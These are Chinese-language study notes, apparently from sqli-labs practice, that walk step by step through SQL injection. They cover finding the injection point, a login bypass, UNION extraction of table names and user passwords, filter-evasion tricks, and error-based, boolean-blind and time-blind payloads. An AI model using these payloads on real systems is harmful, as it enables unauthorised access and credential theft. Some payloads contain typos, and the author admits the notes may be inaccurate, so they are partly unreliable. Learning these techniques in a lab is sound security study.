Sql注入步骤
第一步:找到注入点:实行注入的地方
填入一个单引号、双引号、单括号、双括号等 若出现错误则可能存在注入漏洞。 数字型在url后加入 and 1=1、and 1=2 出现结果不同 则存在漏洞。
1.在网址后面加上?id=1
是否存在注入点: 输入admin’ or 1=1# 无报错 admin‘ and 1=3 # 页面报错 布尔类型
万能钥匙: admin’ or 1=1# (当后面都为真的时候 全为真,不仅仅是输出admin内容 而是所有数据) 相当于 select * from stu
admin’ and 1=1# (只有前后条件都为真时才为真 所以只输出admin的数据)
select * from stu where name=‘admin’
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from users where username='$name' and password='$pwd'";
解释:在用户框内输入万能钥匙时,后台执行的sql语句会变成以下语句
$sql="select * from users where username='admin' or 1=1# ' and password='$pwd'"; #当输入#后,后面的数据都会被注释掉 所以语句会变成一下语句
$sql="select * from users where username='admin' or 1=1# ' #where语句是判断语句 当后面结果都为真的时候 会执行前面的语句,也就是如下语句:
$sql="select * from users #也就是将所有的用户名都得出来了
第二步:先判断是字符型还是数字型.
如何判断是字符注入还是数字型注入? 输
字型 有可能是字符型
使用 and 1=1 和and 1=2来判断。 如果两者都能回显,一定不是数字型。 使用 id =2-1 如果输出的是id=1的内容则证明为数字型 不回显则是字符型
第三步:判断闭合方式:(数字型不用关心闭合方式)
属于1‘ 查看1’ 附近多什么符号
输入’ :看见报错。则证明有注入点
当输入id=1‘’‘ 回显为near 1’‘’ ‘ 则闭合为’
若输入id=1‘’‘ 回显为near1’‘’) 则闭合为)
当输入 id=1’‘’ 回显为 near ‘‘1’’‘’),则闭合方式为 ')
注释符 --+(get提交时) 或#(post提交时)或%23
第四步:判断列数
使用union联合查询之前先使用group by 或order by 判断数据库的列数。
select id from user union select 1,2
第五步:确认回显位 (先让第一行消失 使id为负数) (http://192.168.228.133/sql/Less-1/?id=-1’ union select 1,2,database() --+)
union 联合注入: ?id=1 union select1,version(), database() --+
第六步:数据库名的猜测(database())
and ascii(substring((select database()),1,1))>=110
第七步:数据库表名的猜解
第八步:表里字段的猜解
第九步:拿到数据
Sql 注入绕过
-
对空格进行过滤时,使用**%a0** 代替空格
-
使用注释符**/ * /* 代替空格
SELECT/**/name/**/FROM/**/table
-
使用括号绕过空格,select(user())from dual where(1=1)and(2=2)
-
mysql_real_escape_string对参数进行标准化,该函数只是对字符串进行过滤,将特殊字符实例化,但是对数字型没有作用。使用
-
当注释被过滤时,
闭合单引号, 使用‘ 号时,发现报错,当使用id=1’ or '时正确, id=1’ and (select database()=‘users’) or ’ 还可以使用 ;%00 注释。 -
针对limit 0,1 使用 extractvalue()函数执行。
-
过滤 or和and 。使用 &&代替and , or 使用||代替 或者使用双写绕过, oorr
-
过滤空格,使用+代替空格 ,||也可以
-
但是空格和星号还是被吃掉了,继续想办法。在MySQL中tab,空格,回车都可以隔断语句
-
/**/ 或() 或+ 代替空格,%0c =换页、%09 = 水平制表符、%0d = 回车、%0a = 换行 %27=‘
-
当对用户输入进行is_numeric()函数过滤时,如果发现输入的不是数字的话,会拦截,可以将payload转换成十六进制或二进制,如果转换成十六进制,需要在前面加入ox
Sql_Union 注入(有回显)
了解union注入过程中用到的关键数据库、数据表
拿到网站数据库中的表名和列名:
系统内数据库 information_schema() 包含Mysql所维护的其他数据库信息(columns表、tables)
information_schema.tables (保存着数据库中表名) 从这里找到表名
information_schema.columns(所有数据库中的列名 )
table_schema(表名所在数据库的名字)
table_name (表名)
column_name (列名)
1.从information_schema的表中提取出所有的表名
(http://192.168.228.133/sql/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables --+ :
其中列数可以一个一个尝试 从select 1,2…尝试 直到尝试出3
2.在系统数据库内查到该数据库内的所有表名。
使用 select database() 查到表名 使用group_concat 函数将列名横向显示
使用where table_schema=database() 显示该数据库的表名
?id=0 ' union select 1,**group_concat(table_name)**,3 from information_schema.tables where table_schema=database() --+
3.在查到该数据库的表名后查询列名。
?id=-1' union select 1,**group_concat(column_name)**,3 from information_schema.columns where table_schema=database() **and table_name='users'** --+
4.查询该数据库所有账号密码
union select1,2,group_concat(username,'~',password ) from users ' --+
数字型union联合注入
http://192.168.228.133/SQL/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤: 找到注入点 判断注入类型 判断闭合方式(字符型) 判断列数 判断回显位
先通过database()找到该注入点的数据库 然后通过系统数据库查找到该数据库的表名 再通过系统数据库查找到想要的列名 再查找内容
报错注入
(无回显 有报错)语句插入时一般使用报错注入
报错注入:构造错误信息,让错误信息中夹杂着可以显示数据库内容的查询语句。
存在的基础:用户输入的内容,后台不进行检查直接拼凑成sql语句送给数据库,数据库执行的结果不经过检查直接返回给前台。
?id=1’ union select 1,2,database() --+ :故意将单词拼写错误 让后台返回信息
常见报错注入:floor()、extractValue()、updateXml()
extractValue()报错注入:
函数extractValue(文档对象名称,路径):包含两个参数,第一个参数XML文档对象名称。第二个参数 路径
使用extractValue查询Xml里面的内容:
select extractValue (doc,'/book/author/surname')from xml; #显示作者
select extractValue (doc,'/book/title)from xml; #显示标题
报错:将路径写错
select extractValue (doc,'~ book/title')from xml; #显示标题
select extractValue(doc,concat(0x7e,(select database ()))) from xml;
其中0x7e 在ascii中代表~ 将两者连接起来
报错:显示有
?id=1' union select 1,2 extractValue(1,concat(0x7e, )); # 使用报错形式执行语句
extractValue()函数一次性只能返回32字符串,由substring解决
substring函数(1123456,1,3):参数1 代表字符串 、参数2从哪个字符显示 参数3 一次显示几个
http://192.168.228.133/SQL/Less-5/?id=1’ union select 1,2,extractValue(1,concat(0x7e,substring((select group_concat(username,password) from users) ,1,30))) --+ :只需在加黑处修改成要执行的代码即可,只能执行查找操作
updateXml()报错注入:
函数updateXml(文档对象名称,路径,替换查找到的数据):包含两个参数,第一个参数XML文档对象名称。第二个参数 路径,第三个参数 随意,一般写为1
select updatexml(doc,'/book/auther/surname','1') from xml #正常句式 将作者姓名改成1
select updatexml(doc,'~/book/auther/surname','1') from xml #报错句式 将作者姓名改成1 路径错误
http://192.168.228.133/SQL/Less-6/?id=1" and 1=updatexml(1,concat('~',(select gruop_concat(tabel_name))),3) --+ #在黑体处更改代码就可执行想要数据
floor()报错注入:
涉及到的函数: rand():返回0到1小数、
floor():小数向下取整 、ceiling():向上取整
concat_ws(1,2,3):将参数2和参数3 使用参数1连接起来 参数1:‘-’ 参数2:执行查询语句 参数3:floor(rand(0)*2)
concat(1,2) :将参数1与参数2进行连接。
select rand() from users; #user有多好行 rand就执行多少次
SELECT COUNT(*),concat_ws('~',(SELECT DATABASE()),floor(rand()*2)) as benben from users GROUP by benben ;
#永久报错 报错内容如下:
#1062 - Duplicate entry 'security~1' for key '<group_key>'
http://192.168.228.133/SQL/Less-5/?id=1' --+ #报错语句 查询数据表版本
http://192.168.228.133/SQL/Less-5/?id=1' union select 1,count(*),concat_ws('`',(substring((select group_concat(username,password) from users),1,30)),floor(rand(0)*2)) as x from information_schema.tables group by x --+ #使用substring函数
盲注
布尔盲注
盲注:页面没有回显,不知道数据库具体返回值的情况下,对数据库内容进行猜解。(无回显 不报错 有真假)
布尔盲注:web页面只返回Ture和False两个类型,利用页面返回不同 逐个猜解数据。
如果输入正确有回显 否则没有回显,并且没有报错 只能使用布尔盲注
关键函数:
ascii() 函数:将字符变成数字
逐字节猜解:
?id=1' and ascii(substring((select database()),1,1))>=110 --+ #获取数据库名
#通过substring控制输出数据库每个名称 与数值比较确定下来每个字母 再拼接起来
http://192.168.228.111/sql/Less-8/?id=1' and ascii(substring((select username from users limit 0,1),2,1))=117 --+ #得到用户第一个名称为68 117 109 98
limit 0,1 从第0行开始显示1行
substring(str,1,30) 从第一个字母开始显示30个字母
闭合方式判断:
id=1’ 假 id =1‘ --+ 真
id=1’‘ 真 id=1’‘ --+ 真 则为单引号闭合
时间盲注
(无回显不报错 没有真假)
关键函数:sleep(): 让页面显示等待三秒
if()函数
http://192.168.228.111/sql/Less-9/?id=1'' and sleep(3) --+ #判断闭合方式
?id=1'and if(ascii(substr((select database()),1,1))>150,sleep(0),sleep(3))--+ #判断数据库名字与布尔盲注类似
#只需替换select database()换成自己想要的
闭合方式判断:
?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
哪个休眠两秒哪个是闭合的
判断存在哪种注入类型
有回显使用union注入、
没回显有报错,使用报错注入、
没有报错没有回显 有真假 使用布尔盲注
没有回显 没有报错 没有真假 使用时间盲注。
使用时间盲注前提 数据库会执行命令代码只是没有反馈信息
以上是我自己总结的步骤,可能不是很正确,还希望大家指正匹配。